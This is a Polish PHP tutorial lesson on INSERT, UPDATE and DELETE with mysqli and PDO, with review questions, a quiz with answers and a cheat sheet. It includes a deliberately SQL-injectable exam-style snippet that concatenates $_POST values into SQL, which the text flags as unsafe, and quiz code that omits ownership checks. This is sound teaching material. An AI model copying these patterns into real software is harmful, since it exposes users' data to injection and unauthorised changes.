&#91; ] Potrafię napisać UPDATE i DELETE z WHERE — i wiem, co się stanie bez WHERE.
&#91; ] Potrafię zwiększyć wartość w bazie względem obecnej (xp = xp + ?) i wiem, czemu to lepsze niż zapis gotowej liczby.
&#91; ] Wiem, co liczy affected_rows przy UPDATE i dlaczego 0 nie znaczy „nie ma wiersza”.
&#91; ] Wiem, do czego służy insert_id.
&#91; ] Potrafię wyjaśnić, dlaczego każde UPDATE/DELETE zadania ma warunek uzytkownik_id = ?.
&#91; ] Potrafię wyjaśnić, dlaczego XP przyznajemy na podstawie wyniku UPDATE z IS NULL, a nie wcześniejszego odczytu.
&#91; ] Wiem, dlaczego „Zrobione!” i „Usuń” to formularze POST, a nie linki.
&#91; ] Wiem, gdzie i kiedy liczony jest teraz streak.
&#91; ] Potrafię opisać, co się dzieje z danymi, gdy z dwóch zapytań uda się tylko pierwsze.
&#91; ] W projekcie nie ma już CSV ani funkcji plikowych.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<p class="wp-block-paragraph">1. Tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Podaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> każdego polecenia, wykonanych po kolei:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2 AND data_wykonania IS NULL;
DELETE FROM zadania WHERE uzytkownik_id = 3;</code></pre>



<p class="wp-block-paragraph"><br />2. Kolega uważa, że warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> jest zbędny, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i tak najpierw wczytuje zadanie i mógłby sprawdzić <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code>. Podaj dwie sytuacje, w których jego wersja przyzna XP dwa razy (Test 4, Eksperyment 2).<br /><br />3. Koleżanka napisała <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ?</code>. Zapytanie działa, a prepared statement chroni przed SQL injection. Co może zrobić zalogowana Ola i jak? Czym ten błąd różni się od SQL injection?Znajdź trzy błędy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $zadanieId, (int) $_SESSION&#91;'uzytkownik_id']);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();</code></pre>



<p class="wp-block-paragraph"><br />4. Dlaczego „Zrobione!” jest przyciskiem w formularzu POST, a nie linkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>? Podaj dwa konkretne problemy wersji z linkiem.</p>



<p class="wp-block-paragraph">5. Kama ma streak 4. Co pokaże strona po kliknięciu „Zrobione!”, jeśli jej <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> to: (a) dziś, (b) wczoraj, (c) 10 dni temu, (d) <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>? Która linia kodu decyduje o przypadku (d)?</p>



<p></p>



<p class="wp-block-paragraph">6. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> dodaje XP przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code>, a streak zapisuje jako gotową liczbę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">streak = ?</code>). Dlaczego te dwie kolumny potraktowaliśmy różnie? Czy przy streaku może wystąpić ten sam problem co przy XP?<br /><br />7. W Eksperymencie 5 zadanie zostało oznaczone jako wykonane, a XP nie wpadło. Opisz stan bazy po błędzie. Czy odwrócenie kolejności zapytań (najpierw XP, potem zadanie) rozwiązuje problem? Co go rozwiązuje?<br /><br />8. Kama wykonała zadanie za 20 XP, a potem je usunęła. XP zostało. Podaj argument za takim działaniem i argument przeciw. Jak zmieniłbyś/zmieniłabyś <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, gdyby XP miało być odbierane?<br /><br />9. Po zmianie metody na <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(): void</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> została przez pomyłkę linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code> (a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> nadal istnieje). Czy PHP zgłosi błąd? Co zobaczy Kama, która wczoraj wykonała zadanie, a dziś tylko otwiera stronę (Eksperyment 6)?<br /><br />10. Baza odrzuci tytuł dłuższy niż 100 znaków (<code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(100)</code>). Po co więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> nadal to sprawdza? Podaj dwa powody.<br /></p>
</details>



<h1 id="dodatek" class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h2 class="wp-block-heading">W skrócie</h2>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>nie zwracają wierszy</strong>. Znika więc ostatni krok znany z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> — po <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>. Efekt sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">rowCount()</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> to liczba wierszy, które <strong>naprawdę się zmieniły</strong>, a nie tych, które pasowały do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Zapis tej samej wartości daje 0. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> nie znaczy „nie ma takiego wiersza”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> działają na całej tabeli. W PHP nie ma pytania „czy na pewno?” i nie ma cofnięcia.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> pełni rolę <strong>bezpiecznika</strong> i ma zwykle dwa rodzaje warunków:
<ul class="wp-block-list">
<li><strong>właściciela</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>) — żeby nie dało się zmienić cudzego rekordu,</li>



<li><strong>stanu</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>) — żeby ta sama operacja nie zadziałała drugi raz.</li>
</ul>
</li>



<li>Prepared statement chroni przed <strong>SQL injection</strong>, ale nie przed <strong>brakiem sprawdzenia uprawnień</strong>. To dwa różne błędy: pierwszy dotyczy sklejania SQL, drugi — zaufania danym z formularza.</li>



<li>O tym, czy nagroda (XP) się należy, decyduje <strong>wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z warunkiem stanu</strong>, a nie wcześniejszy odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>. Odczyt może być nieaktualny (dwie karty, dwa kliknięcia).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> zmienia wartość <strong>względem obecnej</strong> — baza dolicza do tego, co ma w chwili zapisu. Odczyt XP do PHP, dodanie i zapisanie gotowej liczby nadpisuje zmianę zrobioną w międzyczasie.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">lastInsertId()</code>) daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>. Nie trzeba go zgadywać ani wyliczać.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>tylko zmienne</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', (int) $_POST['id'])</code> kończy się błędem („cannot be passed by reference”).</li>



<li>Dwa zapytania to nie jedna operacja. Jeśli pierwsze się uda, a drugie nie, pierwsza zmiana zostaje w bazie (zadanie wykonane, XP nieprzyznane). Rozwiązaniem jest transakcja — zadanie końcowe C.</li>



<li>Każda strona zmieniająca dane działa w schemacie <strong>POST → przekierowanie → GET</strong>: sprawdź metodę żądania, zapisz zmianę, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> i <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code></strong>. Bez tego F5 powtarza operację.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO tabela (kolumny) VALUES (wartości)</code> — kolumny i wartości w tej samej kolejności; <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> i kolumny z wartością domyślną można pominąć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>zawsze</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> = cała tabela, nieodwracalnie.</li>



<li>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code></strong>. Efekt to <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">rowCount()</code>), nowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">lastInsertId()</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows == 0</code> znaczy „nic się nie zmieniło”, a nie „nie ma takiego wiersza”.</li>



<li>Każde zapytanie, które mogłoby trafić w cudzy rekord, ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>. Prepared statement tego nie załatwia.</li>



<li>Warunek stanu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>) umieszczamy w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, który zmienia dane — nie w osobnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> w PHP.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> zamiast odczytu i zapisu gotowej liczby.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>zmienne</strong>, nie stałe i nie wyrażenia; liczba liter typów = liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code>).</li>



<li>Dane zmieniamy tylko przez <strong>POST</strong>, a po zapisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...'); exit;</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>SQL</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Tytuł', '', '2026-10-10', 10);

UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = 5 AND uzytkownik_id = 2 AND data_wykonania IS NULL;

UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;   -- względem obecnej wartości

DELETE FROM zadania WHERE id = 5 AND uzytkownik_id = 2;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> → dzisiejsza data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOW()</code> → data z godziną.</p>



<p class="wp-block-paragraph"><strong>MySQLi obiektowo (TaskQuest)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('INSERT INTO zadania (uzytkownik_id, tytul) VALUES (?, ?)');
$zapytanie-&gt;bind_param('is', $uzytkownikId, $tytul);
$zapytanie-&gt;execute();

$noweId = $zapytanie-&gt;insert_id;        // id nadane przez AUTO_INCREMENT
$ile    = $zapytanie-&gt;affected_rows;    // ile wierszy się zmieniło
</code></pre>



<p class="wp-block-paragraph">Typy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> — liczba całkowita, <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> — tekst (także data), <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> — liczba z przecinkiem.</p>



<p class="wp-block-paragraph"><strong>Schemat funkcji zmieniającej dane</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE()
         WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}
</code></pre>



<p class="wp-block-paragraph"><strong>PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $pdo-&gt;prepare('UPDATE players SET email = ? WHERE id = ?');
$stmt-&gt;execute(&#91;$email, $id]);

$ile    = $stmt-&gt;rowCount();
$noweId = $pdo-&gt;lastInsertId();   // na POŁĄCZENIU, nie na zapytaniu
</code></pre>



<p class="wp-block-paragraph"><strong>Strona zmieniająca dane (POST → przekierowanie → GET)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}
// walidacja → zapis → komunikat w sesji
header('Location: index.php');
exit;                       // ZAWSZE exit po header()
</code></pre>



<p class="wp-block-paragraph"><strong>Wersja proceduralna — tylko na egzaminie</strong></p>



<p class="wp-block-paragraph">Arkusz INF.03 udostępnia wyłącznie te funkcje, więc zapis wygląda tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie = mysqli_connect('localhost', 'root', '', 'wodospady');

if (isset($_POST&#91;'idObiekt'])) {
    $idObiekt  = $_POST&#91;'idObiekt'];
    $idTurysta = $_POST&#91;'idTurysta'];
    mysqli_query($polaczenie, "INSERT INTO osiagniecia (idObiekt, idTurysta)
                               VALUES ('$idObiekt', '$idTurysta')");
}

mysqli_close($polaczenie);</code></pre>



<p class="wp-block-paragraph">Poza egzaminem tak <strong>nie piszemy</strong> — to sklejanie SQL z danymi użytkownika, czyli podatność na SQL injection z Lekcji 18.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<ol class="wp-block-list">
<li><p>Uzupełnij polecenie i odpowiedz, co stanie się z pominiętymi kolumnami <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)<br />______ (2, 'Powtórka SQL', '', '2026-11-05', 15);<br /></code></p></li>



<li><p>Ola ma 240 XP. Podaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> po pierwszym i po drugim wykonaniu tego polecenia:<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = 250 WHERE id = 2;<br /></code></p></li>



<li><p>Znajdź <strong>dwa</strong> błędy:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ?');<br />$zapytanie-&gt;bind_param('i', $zadanieId);<br />$zapytanie-&gt;execute();<br />$wynik = $zapytanie-&gt;get_result();<br /></code></p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?</code> jest lepsze niż odczytanie XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>-em, dodanie w PHP i zapisanie gotowej liczby przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET xp = ?</code>?</p></li>



<li><p>Co się stanie po uruchomieniu tej linii i jak ją poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;bind_param('ii', $zadanieId, (int) $_SESSION['uzytkownik_id']);<br /></code>Kolega usunął z zapytania warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE id = ?<br /></code>Twierdzi, że jest bezpiecznie, bo to prepared statement. Co może zrobić zalogowana Ola i dlaczego prepared statement tu nie pomaga?</p></li>



<li><p>Uzupełnij warunek tak, żeby gracz nie dostał XP dwa razy za to samo zadanie:<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE()<br />WHERE id = ? AND uzytkownik_id = ? ______<br /></code></p></li>



<li><p>Skrypt zapisuje dane i kończy się linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php');</code>. Czego brakuje i jakie dwa problemy może to spowodować?</p></li>



<li><p>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> chcemy przekierować użytkownika na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=...</code> nowo dodanego gracza. Skąd wziąć to <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w MySQLi, a skąd w PDO?</p></li>



<li><p>Co zrobi to polecenie uruchomione w phpMyAdmin i czy da się je cofnąć?<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania;<br /></code></p></li>



<li><p>Przycisk „Zrobione!” można było zrobić jako zwykły link <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>. Podaj dwa konkretne problemy takiej wersji.</p></li>



<li><p>Na egzaminie masz napisać skrypt, który po wysłaniu formularza wstawia do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">osiagniecia</code> wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">idTurysta</code> pobrane z formularza. Wypisz kolejne kroki skryptu (od połączenia do zamknięcia) i wskaż, który z nich decyduje o tym, że skrypt nie zapisuje niczego przy zwykłym wejściu na stronę.</p></li>



<li><p>Zadanie praktyczne. Napisz funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">zmienEmailGracza(mysqli $polaczenie, int $graczId, string $email): bool</code>, która zmienia e-mail gracza w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code> i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> tylko wtedy, gdy wiersz faktycznie się zmienił. Wyjaśnij, kiedy zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> mimo poprawnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>.</p></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi </strong></summary>
<ol class="wp-block-list">
<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nada baza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> — nowe zadanie jest od razu niewykonane.</p></li>



<li><p>Pierwsze wykonanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> (240 → 250). Drugie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> — wiersz pasuje do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale wartość jest już taka sama, więc nic się nie zmieniło.</p></li>



<li><p>(a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> — nie ma wyniku do odebrania, efekt sprawdza się przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>; (b) brak warunku właściciela <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>, więc każdy zalogowany może oznaczyć cudze zadanie, podmieniając <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w formularzu.</p></li>



<li><p>Baza dolicza XP do wartości aktualnej w chwili zapisu. Przy odczycie i zapisie gotowej liczby zmiana zrobiona w międzyczasie (druga karta, drugie kliknięcie, inny skrypt) zostaje nadpisana i część XP przepada.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przekazuje argumenty przez referencję, więc nie przyjmuje wyrażenia. Wartość trzeba najpierw zapisać w zmiennej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId = (int) $_SESSION['uzytkownik_id'];</code>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', $zadanieId, $uzytkownikId)</code>.</p></li>



<li><p>Ola może w narzędziach przeglądarki (F12) zmienić wartość ukrytego pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na numer zadania Kamy i je usunąć. Prepared statement pilnuje tylko tego, żeby dane nie stały się kodem SQL — nie sprawdza, czy użytkownik ma prawo do tego wiersza. To brak kontroli uprawnień, nie SQL injection.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>.</p></li>



<li><p>Brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>. Skrypt wykonuje się dalej: może zacząć wypisywać HTML (a przy wcześniejszym wyjściu nagłówek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Location</code> w ogóle nie zadziała) i może wykonać kolejne operacje na bazie, mimo że przeglądarka jest już przekierowywana.</p></li>



<li><p>MySQLi: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;insert_id</code> (proceduralnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_insert_id($polaczenie)</code>), odczytane zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, przed zamknięciem połączenia. PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo-&gt;lastInsertId()</code> — na obiekcie połączenia, nie na zapytaniu.</p></li>



<li><p>Usunie <strong>wszystkie</strong> wiersze tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, bo nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Nie da się tego cofnąć — dane wracają tylko z kopii zapasowej albo przez ponowne uruchomienie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p></li>



<li><p>Przykładowe: (a) odświeżenie strony (F5) powtarza żądanie GET, więc powtarza operację; (b) adres z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> można wpisać ręcznie albo podstawić cudzy numer; (c) link da się kliknąć przypadkiem lub otworzyć z historii, a operacja zmieniająca dane nie powinna się wykonywać przy zwykłym wejściu na adres. Zmiana danych należy do POST.</p></li>



<li><p>Kroki: połączenie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect</code>) → sprawdzenie, czy formularz został wysłany (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST[...])</code>) → pobranie wartości z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> do zmiennych → zbudowanie i wykonanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query()</code> → zamknięcie połączenia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close</code>). O tym, że zwykłe wejście na stronę niczego nie zapisuje, decyduje warunek z <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>.</p></li>



<li><p>Przykładowe rozwiązanie:<code class="prettyprint lang-sql" style="font-size: 0.85em;">function zmienEmailGracza(mysqli $polaczenie, int $graczId, string $email): bool<br />{<br />    $zapytanie = $polaczenie-&gt;prepare('UPDATE players SET email = ? WHERE id = ?');<br />    $zapytanie-&gt;bind_param('si', $email, $graczId);<br />    $zapytanie-&gt;execute();<br /><br />    return $zapytanie-&gt;affected_rows === 1;<br />}<br /></code>Zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> także wtedy, gdy gracz istnieje, ale ma już dokładnie ten sam e-mail — <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> nie zmienił żadnej wartości, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> wynosi 0. Dlatego tego wyniku nie wolno czytać jako „nie ma takiego gracza”.</p><br /></li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/">19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>18. PHP – łączenie z bazą i operacje SELECT</title>
		<link>https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 16 May 2019 19:41:00 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2343</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 17: bazy danych, mysqli i PDO, projekt tabel TaskQuest. Odpowiedz z pamięci. TaskQuest Dodatek Bazy danych to fundament większości aplikacji webowych. Za każdym razem gdy: W tym materiale nauczysz się&#160;pobierać dane&#160;z bazy MySQL/MariaDB używając PHP. To podstawowa umiejętność, którą musisz opanować przed nauką modyfikowania danych (INSERT, UPDATE, DELETE [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/">18. PHP – łączenie z bazą i operacje SELECT</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



